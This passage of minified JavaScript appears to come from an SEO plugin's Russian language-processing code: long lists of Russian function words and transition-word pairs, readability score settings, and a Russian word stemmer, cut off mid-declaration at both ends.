c=["быть","был","была","было","были","будет","будут"],a=["мочь","мог","могла","могли","могу","можешь","может","можем","можете","могут","смочь","смогу","сможешь","сможет","сможем","сможете","смогут","решиться","решился","решилась","решились","решусь","решишься","решится","решимся","решитесь","решатся","делать","делал","делала","делало","делали","делали","делаю","делаешь","делает","делаем","делаете","делают","сделать","сделал","сделала","сделало","сделали","сделали","сделаю","сделаешь","сделает","сделаем","сделаете","сделают","иметь","имел","имела","имело","имели","имею","имеешь","имеет","имеем","имеете","имеют","следует","следовало","необходимо","необходим","необходима","необходимы","нужно","нужен","нужна","обязан","обязана","обязано","обязаны","должен","должна","должно","должны","требуется","требуются","имеется","имеются","есть","можно"],l=["появиться","появился","появилась","появилось","появились","появлюсь","появишься","появится","появимся","появитесь","появимся","появляться","появлялся","появлялась","появлялось","появлялись","появляюсь","появляешься","появляется","появляемся","появляются","появляетесь","стал","стала","стало","стану","станешь","станет","станем","станете","станут","становиться","становился","становилось","становилась","становились","становлюсь","становишься","становится","становимся","становитесь","становятся","прийти","пришел","пришёл","пришла","пришло","пришли","приду","придешь","придёшь","придет","придёт","придем","придём","придете","придёте","придут","приходить","приходил","приходила","приходило","приходили","прихожу","приходишь","приходит","приходим","приходите","происходить","происходил","происходила","происходило","происходили","происходит","происходят","держать","держал","держала","держало","держали","держу","держишь","держит","держим","держите","держут","содержать","содержал","содержала","содержало","содержали","содержу","содержишь","содержит","содержим","содержите","содержут","остаться","остался","осталась","осталось","остались","останусь","останешься","останется","останутся","останетесь","останемся","оставаться","оставался","оставалась","оставалось","оставались","остаюсь","остаешься","остаёшься","остается","остаётся","остаемся","остаёмся","остаетесь","остаётесь","остаются","изменяться","изменялся","изменялась","изменялось","изменялись","изменюсь","изменишься","изменится","изменимся","изменитесь","изменятся","успеть","успел","успела","успело","успели","успею","успеешь","успеет","успеем","успеете","успеют","заниматься","занимался","занималась","занимаюсь","занимаешься","занимается","занимаемся","занимаетесь","занимаемся","заняться","занялся","занялась","занялись","займусь","займешься","займется","займемся","займетесь","займутся","займёшься","займётся","займёмся","займётесь"],u=["сказать","сказал","сказала","сказали","говорить","говорил","говорила","говорили","говорит","говорю","говорим","говоришь","говорят","говорите","объявить","объявил","объявила","объявили","заявить","заявил","заявила","заявили","спросить","спросил","спросила","спросили","указать","указал","указала","указали","объяснить","объяснил","объяснила","объяснили","подумать","подумал","подумала","подумали","думать","думал","думала","думали","думаю","думает","думаешь","думаем","думаете","думают","рассказывать","рассказывал","рассказывала","рассказывали","рассказывают","рассказывает","рассказать","рассказал","рассказала","рассказали","обсудить","обсудил","обсудила","обсудили","предложить","предложил","предложила","предложили","понимать","понимал","понимала","понимали","понимаю","понимаешь","понимает","понимаем","понимаете","понимают","добавить","добавил","добавила","добавили","добавлю","добавишь","добавит","добавим","добавите","добавят"],f=["казаться","кажется","казалось","казалась","казался","казались","кажутся","давайте","давай","хотеть","хочу","хочешь","хочет","хотим","хотите","хотят","хотел","хотела","хотело","хотели","показать","показал","показала","показало","показали","покажу","покажешь","покажет","покажем","покажете","покажут","показывать","показывал","показывала","показывало","показывали","показываю","показываешь","показывает","показываем","показываете","показывают","идти","шел","шёл","шла","шло","шли","иду","идешь","идёшь","идет","идёт","идем","идём","идете","идёте","идут","брать","брал","брала","брало","брали","беру","берешь","берёшь","берёт","берем","берём","берёте","берут","взять","взял","взяла","взяло","взяли","возьму","возьмешь","возьмет","возьмем","возьмете","возьмут","класть","кладу","кладешь","кладет","кладёшь","кладёт","кладем","кладете","кладём","кладёте","кладут","положить","положил","положила","положило","положили","положу","положишь","положит","положим","положите","положат","использовать","использовал","использовала","использовало","использовали","использую","используешь","используем","используете","используют","пробовать","пробовал","пробовала","пробовало","пробовали","пробую","пробуешь","пробует","пробуем","пробуете","пробуют","попробовать","попробовал","попробовала","попробовало","попробовали","попробую","попробуешь","попробует","попробуем","попробуете","попробуют","иметь","имел","имела","имело","имели","имею","имеешь","имеет","имеем","имеете","имеют","означать","означал","означала","означало","означали","означает","означают","добавлять","добавлял","добавляла","добавляло","добавляли","добавляю","добавляешь","добавляет","добавляем","добавляете","добавляют","состоять","состоял","состояла","состояло","состояли","состою","состоишь","состоит","состоим","состоите","состоят","убеждаться","убедился","убедилась","убедилось","убедишься","убедится","убедимся","убедитесь","убедятся","убеждать","убедил","убедила","убедили","убедишь","убедит","убедим","убедите","убедят","являться","являлся","являлась","являлось","являлись","являюсь","являешься","является","являемся","являетесь","являются"],g=["один","одна","одно","одни","два","две","двое","двух","двоих","двум","двоим","двумя","двоими","три","трое","трех","трёх","троих","трем","трём","троим","тремя","четыре","пять","шесть","семь","восемь","девять","десять","одиннадцать","двенадцать","тринадцать","четырнадцать","пятнадцать","шестнадцать","семнадцать","восемнадцать","девятнадцать","двадцать","тридцать","сорок","пятьдесят","шестьдесят","семьдесят","восемьдесят","девяносто","сто","сотни","двести","триста","четыреста","пятьсот","шестьсот","семьсот","восемьсот","девятьсот","тысяча","тысячи","тысяче","тысячей","тысячам","тысячами","тысячах","тыс","миллион","миллиона","миллиону","миллионом","миллионе","миллионы","миллионов","миллионам","миллионами","миллионах","миллиард","миллиарда","миллиарду","миллиардом","миллиарде","миллиарды","миллиардов","миллиардам","миллиардами","миллиардах"],m=["первый","первого","первому","первом","первым","первая","первой","первое","первые","первых","первыми","второй","второго","второму","втором","вторым","вторая","второй","второе","вторые","вторых","вторыми","третий","третьего","третьему","третьим","третьем","третья","третьей","третье","третьи","третьих","третьими","четвертый","четвертого","четвертому","четвертым","четвертом","четвертая","четвертой","четвертое","четвертые","четвертых","четвертыми","пятый","пятого","пятому","пятом","пятым","пятая","пятое","пятые","пятых","пятыми","шестой","шестого","шестому","шестым","шестая","шестое","шестые","шестых","шестыми","седьмой","седьмого","седьмому","седьмым","седьмая","седьмое","седьмые","седьмых","седьмыми","восьмой","восьмого","восьмому","восьмым","восьмая","восьмое","восьмые","восьмых","восьмыми","девятый","девятого","девятому","девятым","девятая","девятое","девятые","девятых","девятыми","десятый","десятого","десятому","десятым","десятая","десятое","десятые","десятых","десятыми","одиннадцатый","одиннадцатого","одиннадцатому","одиннадцатым","одиннадцатая","одиннадцатое","одиннадцатые","одиннадцатых","одиннадцатыми","двенадцатый","двенадцатого","двенадцатому","двенадцатым","двенадцатая","двенадцатое","двенадцатые","двенадцатых","двенадцатыми","тринадцатый","тринадцатого","тринадцатому","тринадцатым","тринадцатая","тринадцатое","тринадцатые","тринадцатых","тринадцатыми","четырнадцатый","четырнадцатого","четырнадцатому","четырнадцатым","четырнадцатая","четырнадцатое","четырнадцатые","четырнадцатых","четырнадцатыми","пятнадцатый","пятнадцатого","пятнадцатому","пятнадцатым","пятнадцатая","пятнадцатое","пятнадцатые","пятнадцатых","пятнадцатыми","шестнадцатый","шестнадцатого","шестнадцатому","шестнадцатым","шестнадцатая","шестнадцатое","шестнадцатые","шестнадцатых","шестнадцатыми","семнадцатый","семнадцатого","семнадцатому","семнадцатым","семнадцатая","семнадцатое","семнадцатые","семнадцатых","семнадцатыми","восемнадцатый","восемнадцатого","восемнадцатому","восемнадцатым","восемнадцатая","восемнадцатое","восемнадцатые","восемнадцатых","восемнадцатыми","девятнадцатый","девятнадцатого","девятнадцатому","девятнадцатым","девятнадцатая","девятнадцатое","девятнадцатые","девятнадцатых","девятнадцатыми","двадцатый","двадцатого","двадцатому","двадцатым","двадцатая","двадцатое","двадцатые","двадцатых","двадцатыми","тридцатый","тридцатого","тридцатому","тридцатым","тридцатая","тридцатое","тридцатые","тридцатых","тридцатыми","сороковой","сорокового","сороковому","сороковым","сороковая","сороковое","сороковые","сороковых","сороковыми","пятидесятый","пятидесятого","пятидесятому","пятидесятым","пятидесятая","пятидесятое","пятидесятые","пятидесятых","пятидесятыми","шестидесятый","шестидесятого","шестидесятому","шестидесятым","шестидесятая","шестидесятое","шестидесятые","шестидесятых","шестидесятыми","семидесятый","семидесятого","семидесятому","семидесятым","семидесятая","семидесятое","семидесятые","семидесятых","семидесятыми","восьмидесятый","восьмидесятого","восьмидесятому","восьмидесятым","восьмидесятая","восьмидесятое","восьмидесятые","восьмидесятых","восьмидесятыми","девяностый","девяностого","девяностому","девяностым","девяностая","девяностое","девяностые","девяностых","девяностыми","сотый","сотого","сотому","сотым","сотая","сотое","сотые","сотых","сотыми","двухсотый","двухсотого","двухсотому","двухсотым","двухсотая","двухсотое","двухсотые","двухсотых","двухсотыми","трехсотый","трехсотого","трехсотому","трехсотым","трехсотая","трехсотое","трехсотые","трехсотых","трехсотыми","трёхсотый","трёхсотого","трёхсотому","трёхсотым","трёхсотая","трёхсотое","трёхсотые","трёхсотых","трёхсотыми","четырехсотый","четырехсотого","четырехсотому","четырехсотым","четырехсотая","четырехсотое","четырехсотые","четырехсотых","четырехсотыми","четырёхсотый","четырёхсотого","четырёхсотому","четырёхсотым","четырёхсотая","четырёхсотое","четырёхсотые","четырёхсотых","четырёхсотыми","пятисотый","пятисотого","пятисотому","пятисотым","пятисотая","пятисотое","пятисотые","пятисотых","пятисотыми","шестисотый","шестисотого","шестисотому","шестисотым","шестисотая","шестисотое","шестисотые","шестисотых","шестисотыми","семисотый","семисотого","семисотому","семисотым","семисотая","семисотое","семисотые","семисотых","семисотыми","восьмисотый","восьмисотого","восьмисотому","восьмисотым","восьмисотая","восьмисотое","восьмисотые","восьмисотых","восьмисотыми","девятисотый","девятисотого","девятисотому","девятисотым","девятисотая","девятисотое","девятисотые","девятисотых","девятисотыми","тысячный","тысячного","тысячному","тысячным","тысячная","тысячное","тысячные","тысячных","тысячными","миллионный","миллионного","миллионному","миллионным","миллионная","миллионное","миллионные","миллионных","миллионными","миллиардный","миллиардного","миллиардному","миллиардным","миллиардная","миллиардное","миллиардные","миллиардных","миллиардными"],d=["я","меня","мне","мной","мною","ты","тебя","тебе","тобой","он","его","него","ему","нему","нем","нём","им","ним","она","ее","нее","неё","её","ей","ею","ней","нею","оно","мы","нам","нас","нами","вы","вас","вам","вами","они","них","ими","ними","их"],x=["тот","тому","том","тем","того","та","той","ту","то","те","тех","теми","этот","этому","этом","этим","этого","эта","этой","эту","это","эти","этих","этими","такой","такого","такому","таким","таком","такая","такую","такое","такие","таких","такими","этакий","этакого","этакому","этаким","этаком","этакая","этакую","этакое","этакие","этаких","этакими"],S=["мой","моего","моему","моём","моим","моя","моей","мое","моё","мои","моих","моим","твой","твоего","твоему","твоём","твоем","твоим","твоя","твоей","твою","твое","твоё","твои","твоих","твоим","свой","своего","своему","своём","своем","своим","своя","своей","свою","свое","своё","свои","своих","своим","наш","нашего","нашему","нашем","наша","нашей","наше","наши","нашим","наших","ваш","вашего","вашему","вашем","ваша","вашей","ваше","ваши","вашим","ваших"],y=["некоторый","некоторого","некоторому","некоторым","некотором","некоторая","некоторую","некоторое","некоторые","некоторых","некоторыми","многие","многого","многому","многим","многом","многая","многую","многое","многие","многих","многими","много","множество","каждый","каждого","каждому","каждым","каждом","каждая","каждую","каждое","каждые","каждых","каждыми","достаточно","мало","более","больше","большинство","большинства","большинству","большинстве","несколько","нескольких","менее","меньше","наиболее","наименее","угодно","же"],b=["себя","себе"],h=["ничто","ничего","ничему","ничем","ни о чем","ни о чём","никто","никого","никому","никем","ни о ком","весь","всего","всему","всем","всём","все","всё","всех","всеми","всякий","всякого","всякому","всяким","всяком","всякая","всякой","всякую","всякое","всякие","всяких","всякими","кто-то","кого-то","кому-то","кем-то","ком-то","что-то","чего-то","чему-то","чем-то","чём-то","кто-либо","кого-либо","кому-либо","кем-либо","ком-либо","что-либо","чего-либо","чему-либо","чем-либо","чём-либо","кое-кто","кое-кого","кое-кому","кое-кем","кое-ком","кое-что","кое-чего","кое-чему","кое-чем","кое-чём","любой","любого","любому","любым","любом","любая","любую","любое","любые","любых","любыми","какой","какого","какому","каким","каком","какая","какую","какое","какие","каких","какими","какой-то","какого-то","какому-то","каким-то","каком-то","какая-то","какую-то","какое-то","какие-то","каких-то","какими-то"],p=["который","которого","которому","которым","котором","которая","которую","которое","которые","которых","которыми","чей","чьего","чьему","чьим","чьем","чьём","чья","чьей","чье","чьё","чьи","чьих","чьими"],v=["кто","кого","кому","кем","что","чего","чему","чем","чём"],w=["где","куда","откуда","как","почему","зачем","сколько","ли","когда"],O=["везде","нигде","там","здесь","повсюду"],P=["никогда","всегда","однажды","единожды","дважды","трижды","четырежды","уже"],E=["чрезвычайно","очень","крайне","абсолютно","полностью","совершенно","часто","чаще","довольно","несколько","значительно","немного","немножко","частично","просто"],W=["базовый","базового","базовому","базовым","базовом","базовая","базовой","базовое","базовые","базовых","базовым","базовыми","быстрый","быстрого","быстрому","быстрым","быстром","быстрая","быстрой","быстрое","быстрые","быстрых","быстрым","быстрыми","быстрейший","быстрейшего","быстрейшему","быстрейшим","быстрейшем","быстрейшая","быстрейшей","быстрейшее","быстрейшие","быстрейших","быстрейшим","быстрейшими","большой","большого","большому","большим","большом","большая","большое","большие","больших","большим","большими","быстрее","быстро","важный","важного","важному","важным","важном","важная","важной","важное","важные","важных","важным","важными","важнее","важно","возможный","возможного","возможному","возможным","возможном","возможная","возможной","возможное","возможные","возможных","возможным","возможными","высокий","высокого","высокому","высоким","высоком","высокая","высокой","высокое","высокие","высоких","высоким","высокими","выше","высоко","главный","главного","главному","главным","главном","главная","главной","главное","главные","главных","главным","главными","далекий","далекого","далекому","далеким","далеком","далекая","далекой","далекое","далекие","далеких","далеким","далекими","далёкий","далёкого","далёкому","далёким","далёком","далёкая","далёкой","далёкое","далёкие","далёких","далёким","далёкими","длиннее","длинный","длинного","длинному","длинным","длинном","длинная","длинной","длинное","длинные","длинных","длинным","длинными","доступный","доступного","доступному","доступным","доступном","доступная","доступной","доступное","доступные","доступных","доступным","доступными","жуткий","жуткого","жуткому","жутким","жутком","жуткая","жуткой","жуткое","жуткие","жутких","жутким","жуткими","законченный","законченного","законченному","законченным","законченном","законченная","законченной","законченное","законченные","законченных","законченным","законченными","занят","занята","заняты","занятой","занятого","занятому","занятым","занятом","занятая","занятое","занятые","занятых","занятым","занятыми","короткий","короткого","короткому","коротким","коротком","короткая","короткой","короткое","короткие","коротких","коротким","короткими","короче","кошмарный","кошмарного","кошмарному","кошмарным","кошмарном","кошмарная","кошмарной","кошмарное","кошмарные","кошмарных","кошмарным","кошмарными","красивый","красивого","красивому","красивым","красивом","красивая","красивой","красивое","красивые","красивых","красивым","красивыми","лёгкий","лёгкого","лёгкому","лёгким","лёгком","лёгкая","лёгкой","лёгкое","лёгкие","лёгких","лёгким","лёгкими","легкий","легкого","легкому","легким","легком","легкая","легкой","легкое","легкие","легких","легким","легкими","легко","легче","лучше","лучший","лучшего","лучшему","лучшим","лучшем","лучшая","лучшей","лучшее","лучшие","лучших","лучшим","лучшими","маленький","маленького","маленькому","маленьким","маленьком","маленькая","маленькой","маленькое","маленькие","маленьких","маленьким","маленькими","малюсенький","малюсенького","малюсенькому","малюсеньким","малюсеньком","малюсенькая","малюсенькой","малюсенькое","малюсенькие","малюсеньких","малюсеньким","малюсенькими","меньший","меньшего","меньшему","меньшим","меньшем","меньшая","меньшей","меньшее","меньшие","меньших","меньшим","меньшими","многочисленный","многочисленного","многочисленному","многочисленным","многочисленном","многочисленная","многочисленной","многочисленное","многочисленные","многочисленных","многочисленным","многочисленными","молодой","молодого","молодому","молодым","молодом","молодая","молодое","называемый","называемого","называемому","называемым","называемом","называемая","называемой","называемое","называемые","называемых","называемым","называемыми","больший","большего","большему","большим","большем","большая","большей","большее","большие","больших","большим","большими","наибольший","наибольшего","наибольшему","наибольшим","наибольшем","наибольшая","наибольшей","наибольшее","наибольшие","наибольших","наибольшим","наибольшими","меньший","меньшего","меньшему","меньшим","меньшем","меньшая","меньшей","меньшее","меньшие","меньших","меньшим","меньшими","наименьший","наименьшего","наименьшему","наименьшим","наименьшем","наименьшая","наименьшей","наименьшее","наименьшие","наименьших","наименьшим","наименьшими","наихудший","наихудшего","наихудшему","наихудшим","наихудшем","наихудшая","наихудшей","наихудшее","наихудшие","наихудших","наихудшим","наихудшими","напрямую","настоящий","настоящего","настоящему","настоящим","настоящем","настоящая","настоящей","настоящее","настоящие","настоящих","настоящим","настоящими","недавний","недавнего","недавнему","недавним","недавнем","недавняя","недавней","недавнее","недавние","недавних","недавним","недавними","необходимый","необходимого","необходимому","необходимым","необходимом","необходимая","необходимой","необходимое","необходимые","необходимых","необходимым","необходимыми","ниже","низкий","низкого","низкому","низким","низком","низкая","низкой","низкое","низкие","низких","низким","низкими","новейший","новейшего","новейшему","новейшим","новейшем","новейшая","новейшей","новейшее","новейшие","новейших","новейшим","новейшими","новый","нового","новому","новым","новом","новая","новое","новые","новых","новым","новыми","нормальный","нормального","нормальному","нормальным","нормальном","нормальная","нормальное","нормальные","нормальных","нормальным","нормальными","обыкновенный","обыкновенного","обыкновенному","обыкновенным","обыкновенном","обыкновенная","обыкновенное","обыкновенные","обыкновенных","обыкновенным","обыкновенными","обычный","обычного","обычному","обычным","обычном","обычная","обычное","обычные","обычных","обычным","обычными","основной","основного","основному","основным","основном","основная","основное","основные","основных","основным","основными","особенный","особенного","особенному","особенным","особенном","особенная","особенное","особенные","особенных","особенным","особенными","отличный","отличного","отличному","отличным","отличном","отличная","отличное","отличные","отличных","отличным","отличными","очевидный","очевидного","очевидному","очевидным","очевидном","очевидная","очевидное","очевидные","очевидных","очевидным","очевидными","плохой","плохого","плохому","плохим","плохом","плохая","плохое","плохие","плохих","плохим","плохими","последний","последнего","последнему","последним","последнем","последняя","последней","последнее","последние","последних","последним","последними","постоянно","постоянный","постоянного","постоянному","постоянным","постоянном","постоянная","постоянное","постоянные","постоянных","постоянным","постоянными","похожий","похожего","похожему","похожим","похожем","похожая","похожей","похожее","похожие","похожих","похожим","похожими","почти","предыдущий","предыдущего","предыдущему","предыдущим","предыдущем","предыдущая","предыдущей","предыдущее","предыдущие","предыдущих","предыдущим","предыдущими","простейший","простейшая","простейшей","простой","простого","простому","простым","простом","простая","простое","простые","простых","простым","простыми","проще","ранний","раннего","раннему","ранним","раннем","ранняя","ранней","раннее","ранние","ранних","ранним","ранними","разный","разного","разному","разным","разном","разная","разной","разное","разные","разных","разным","разными","самый","самого","самому","самым","самом","самая","самой","самое","самые","самых","самым","самыми","собственный","собственного","собственному","собственным","собственном","собственная","собственное","собственные","собственных","собственным","собственными","специальный","специального","специальному","специальным","специальном","специальная","специальное","специальные","специальных","специальным","специальными","специфичный","специфичного","специфичному","специфичным","специфичном","специфичная","специфичное","специфичные","специфичных","специфичным","специфичными","средний","среднего","среднему","средним","среднем","средняя","средней","среднее","средние","средних","средним","средними","старейший","старейшего","старейшему","старейшим","старейшем","старейшая","старейшей","старейшее","старейшие","старейших","старейшим","старейшими","старый","старого","старому","старым","старом","старая","старой","старое","старые","старых","старым","старыми","текущий","текущего","текущему","текущим","текущем","текущая","текущей","текущее","текущие","текущих","текущим","текущими","тяжелее","тяжёлый","тяжёлого","тяжёлому","тяжёлым","тяжёлом","тяжёлая","тяжёлое","тяжёлые","тяжёлых","тяжёлым","тяжёлыми","тяжелый","тяжелого","тяжелому","тяжелым","тяжелом","тяжелая","тяжелое","тяжелые","тяжелых","тяжелым","тяжелыми","хороший","хорошего","хорошему","хорошим","хорошем","хорошая","хорошей","хорошее","хорошие","хороших","хорошим","хорошими","хорошо","худший","худшего","худшему","худшим","худшем","худшая","худшей","худшее","худшие","худших","худшим","худшими","хуже","целый","целого","целому","целым","целом","целая","целой","целое","целые","целых","целым","целыми","именно","обязательно","действительно"],R=["а-ля","без","безо","без ведома","благодаря","близ","в","во","в адрес","в аспекте","в виде","в глазах","в глубь","в деле","в дополнение к","в духе","в завершение","в зависимости от","в заключение","в знак","в интересах","в качестве","в лице","в меру","в направлении","в направлении к","в направлении ко","в нарушение","в области","в обмен на","в обстановке","в обход","в ответ на","в отдалении от","в отличие от","в отношении","в память","в плане","в пользу","в порядке","в предвидении","в предвкушении","в преддверии","в присутствии","в продолжение","в противность","в противовес","в противоположность","в процессе","в разрезе","в районе","в рамках","в рассуждении","в расчете на","в результате","в роли","в ряду","в свете","в связи с","в связи со","в силу","в случае","в смысле","в согласии с","в сообществе с","в соответствии с","в соответствии со","в сопоставлении с","в сопровождении","в составе","в сравнении с","в сравнении со","в стороне от","в сторону","в сфере","в счет","в течение","в угоду","в унисон с","в условиях","в ущерб","в форме","в ходе","в целях","в честь","в числе","в число","вблизи","вблизи от","вверху","ввиду","вглубь","вдалеке от","вдали","вдали от","вдобавок к","вдобавок ко","вдогон","вдогонку","вдоль","вдоль по","взамен","включая","вкось","вкруг","вместе с","вместе со","вместо","вне","вне зависимости от","внизу","внутри","внутрь","вовнутрь","во время","во главе","во главе с","во главе со","во избежание","во изменение","во имя","во исполнение","во славу","возле","вокруг","волею","вопреки","вперед","впереди","вплоть до","впредь до","вразрез","времен","вроде","вслед","вослед","вслед за","вследствие","выше","для","до","за","за исключением","за счет","заботами","из","изо","из числа","из-за","из-под","из-подо","изнутри","именем","имени","исключая","исходя из","к","ко","к числу","касаемо","касательно","кончая","кроме","кругом","между","меж","промеж","промежду","на","мимо","минуя","на","на базе","на благо","на глазах у","на грани","на имя","на манер","на основании","на основе","на почве","на правах","на предмет","на протяжении","на пути","на пути к","на пути ко","на путях","на путях к","на путях ко","на радость","на случай","на смену","на стороне","на сторону","на уровне","на фоне","наверху","навстречу","над","надо","назади","накануне","наперекор","наперерез","наперехват","наподобие","напротив","наравне с","наравне со","наряду с","наряду со","насупротив","насчет","начиная","начиная от","начиная с","начиная со","не без","не в пример","не говоря о","не говоря об","не говоря обо","не до","не считая","невдалеке от","невзирая на","недалеко","недалеко от","независимо","независимо от","неподалеку от","несмотря на","ниже","о","об","обо","около","окрест","от","ото","от имени","от лица","относительно","памяти","перед","передо","пред","предо","перед","передо","пред","предо","перед лицом","плюс к","плюс ко","по","по адресу","по аналогии с","по аналогии со","по вине","по истечении","по линии","по мере","по направлению","по направлению к","по направлению ко","по отношению к","по отношению ко","по поводу","по праву","по примеру","по причине","по прошествии","по пути","по случаю","по сравнению с","по сравнению со","по стопам","по части","по-за","по-над","по-под","поблизости","поблизости от","поверх","погодя","под","подо","под видом","под знаком","под предлогом","под председательством","под эгидой","подле","подобно","позади","позднее","поздней","позже","помимо","поодаль от","поперед","поперек","порядка","посереди","посередине","посередке","посередь","после","посреди","посредине","посредством","превыше","прежде","при","при всей","при всем","при всех","при помощи","при посредстве","при условии","применительно к","применительно ко","про","против","противно","путем","ради","раньше","рядом с","рядом со","с","со","с ведома","с помощью","с учетом","с целью","сбоку","сбоку от","сверх","сверху","свыше","сзади","силами","сквозь","следом за","смотря по","снаружи","снизу","со стороны","совместно с","совместно со","совокупно с","согласно","согласно с","согласно со","сообразно","сообразно с","сообразно со","сообща с","сообща со","соответственно","соответственно с","соответственно со","соразмерно","соразмерно с","соразмерно со","спереди","спустя","сравнительно с","сравнительно со","среди","средь","сродни","судя по","супротив","считая","типа","у","ценой","ценою","через","что до"],j=["и","или","и/или","еще","ещё","а"],D=["если","даже"],N=["ох","вау","тю-тю","ох-ох-ох","эх","фуф","ага","угу","упс","ой","бее","ну","вот"],T=["ст","ч","л","кг","полкило","г","гр","мл","дл","пол-литра","мг","см","м","км"],k=["секунд","секунда","минут","минута","час","часа","часов","день","дня","дней","неделя","недели","недель","месяц","месяца","месяцев","год","года","году","годы","лет","гг","сегодня","завтра","послезавтра","вчера","позавчера","тыс до н э","н э","до н э","тыс до н"],A=["вещь","вещи","вещью","вещей","вещам","вещами","вещах","метод","метода","методом","методу","методе","методы","методам","методами","методах","способ","способа","способом","способу","способе","способы","способам","способами","способах","свойство","свойства","свойстве","свойств","свойствам","свойствах","свойствами","случай","случая","случаем","случаю","случае","случаи","случаям","случаями","случаях","дело","дела","делом","делу","деле","делам","делами","делах","сходство","сходства","сходстве","сходств","сходствам","сходствах","сходствами","часть","части","частью","частей","частям","частями","частях","штука","штуки","штуке","штуку","штук","штукам","штуками","штуках","раз","раза","разом","разу","разе","разы","разам","разами","разах","вид","вида","видом","виду","виде","виды","видам","видами","видах","процент","процента","процентом","проценту","проценте","проценты","процентам","процентами","процентах","аспект","аспекта","аспектом","аспекту","аспекте","аспекты","аспектам","аспектами","аспектах","пункт","пункта","пунктом","пункту","пункте","пункты","пунктам","пунктами","пунктах","идея","идеи","идее","идеей","идеям","идеями","идеях","тема","темы","теме","тему","темой","темам","темами","темах","человек","человека","человеком","человеку","человеке","деталь","детали","деталью","деталей","деталям","деталями","деталях","подробность","подробности","подробностью","подробностей","подробностям","подробностями","подробностях","фактор","фактора","фактором","фактору","факторе","факторы","факторам","факторами","факторах","разница","разницы","разнице","разницу","разницей","различие","различия","различию","различий","различиям","различиями","различиях","отличие","отличия","отличию","отличий","отличиям","отличиями","отличиях","ситуация","ситуации","ситуацией","ситуаций","ситуациям","ситуациями","ситуациях","сфера","сферы","сфере","сферу","сферой","сферам","сферами","сферах"],M=["нет","да","конечно","отлично","верх","низ","ок","окей","аминь","и т д","и т. д.","и так далее","и тому подобное","прости","простите","пожалуйста","тут","так","не","вдруг","теперь","точно","бы","сам","сама","само","сами","иногда","сейчас","тоже","также","пока","ведь","потом","поэтому","явно","ни","не","будто","напрочь","причем","причём","зато","вперед","вперёд","назад","сразу","пусть","пускай"],F=(i([].concat(m,W)),i([].concat(R,j,x,E,y,S)),i([].concat(s,P,d,b,N,g,c,a,l,u,f,h,D,p,v,w,O,M,T,k,A)),i([].concat(g,m,x,S,b,d,y,h,["чей-то","чьего-то","чьему-то","чьим-то","чьем-то","чьём-то","чья-то","чьей-то","чье-то","чьё-то","чьи-то","чьих-то","чьими-то","ничей","чьего","чьему","чьим","чьем","чьём","чья","чьей","чье","чьё","чьи","чьих","чьими","ничейный","ничейного","ничейному","ничейным","ничейном","ничейная","ничейной","ничейную","ничейное","ничейные","ничейных","ничейными"],p,v,w,O,P,c,a,l,R,j,D,u,s,E,f,N,W,T,A,M,["г-н","г-жа","тов","гр-н","гр-а","гр","проф"],["мл"],k))),G=[["будь то","или"],["возможно","а может быть"],["возможно","возможно"],["достаточно","чтобы"],["едва","как"],["ежели","то"],["если говорить о","то"],["если и не","то"],["если не","то"],["если","то"],["мало того что","еще и"],["мало того, что","еще и"],["не сказать чтобы","но"],["не сказать, чтобы","но"],["не столько","сколько"],["не то чтобы","но"],["не только не","но и"],["стоило","как"],["так как","то"],["только","как"],["хоть бы","а то"],["хоть","хоть"],["хотя","но"],["чем","лучше бы"],["чем","тем"],["что касается","то"]],I=JSON.parse('{"vowels":"аоиеёэыуюя","deviations":{"vowels":[{"fragments":["[аоиеёэыуюя][аоиеёэыуюя]"],"countModifier":1},{"fragments":["[аоиеёэыуюя][аоиеёэыуюя][аоиеёэыуюя]"],"countModifier":1}],"words":{"full":[],"fragments":[]}}}'),L={borders:{veryEasy:80,easy:70,fairlyEasy:60,okay:50,fairlyDifficult:40,difficult:20,veryDifficult:0},scores:{veryEasy:9,easy:9,fairlyEasy:9,okay:9,fairlyDifficult:6,difficult:3,veryDifficult:3}},V={recommendedLength:15},_=window.lodash,B=function(e,t){return t.externalStemmer.vowels.includes(e)},C=function(e,t,r){const n=e.substring(0,r),s=e.substring(n.length);let o;if(Array.isArray(t)){if(o=new RegExp(t[0],"i"),o.test(s))return n+s.replace(o,"");o=new RegExp(t[1],"i")}else o=new RegExp(t,"i");return o.test(s)?e=n+s.replace(o,""):null},{baseStemmer:J}=r.languageProcessing;function q(e){const t=(0,_.get)(e.getData("morphology"),"ru",!1);return t?e=>function(e,t){if(t.doNotStemSuffix.includes(e))return e;const r=function(e,t){for(const r of t)if(r[1].includes(e))return r[0];return null}(e,t.exceptionStemsWithFullForms);if(r)return r;const n=function(e,t){let r=0,n=0;const s=e.length;for(let o=1;o<s;o++){const s=e.substring(o-1,o),i=e.substring(o,o+1);switch(n){case 0:B(i,t)&&(r=o+1,n=1);break;case 1:B(s,t)&&B(i,t)&&(n=2);break;case 2:if(B(s,t)&&B(i,t))return r}}return r}(e,t);e=function(e,t,r){const n=e.substring(0,r),s=e.substring(n.length),o=new RegExp(t.externalStemmer.regexPerfectiveEndings,"i");return("по"===n&&!s.startsWith("д")||"про"===n)&&o.test(s)&&(e=s),e}(e,t,n),e=function(e,t,r){const n=C(e,t.externalStemmer.regexDerivationalNounSuffix,r);if(n)return n;const s=C(e,[t.externalStemmer.regexPerfectiveGerunds1,t.externalStemmer.regexPerfectiveGerunds2],r);if(s)e=s;else{const n=C(e,t.externalStemmer.regexReflexives,r);n&&(e=n);const s=t.externalStemmer.regexAdjective,o=C(e,t.externalStemmer.regexParticiple+s,r),i=C(e,s,r);if(o)e=o;else if(i)e=i;else{const n=C(e,[t.externalStemmer.regexVerb1,t.externalStemmer.regexVerb2],r);if(n)e=n;else{const n=C(e,t.externalStemmer.regexNoun,r);n&&(e=n)}}}return e}(e,t,n);const s=C(e,t.externalStemmer.regexI,n);s&&(e=s),e.endsWith(t.externalStemmer.doubleN)&&(e=e.substring(0,e.length-1));const o=C(e,t.externalStemmer.regexSuperlative,n);o&&(e=o);const i=C(e,t.externalStemmer.regexSoftSign,n);i&&(e=i);const c=function(e,t){const r=t.find((t=>t.includes(e)));if(r)return r[0]}(e,t.stemsThatBelongToOneWord);return c||e}(e,t):J}const 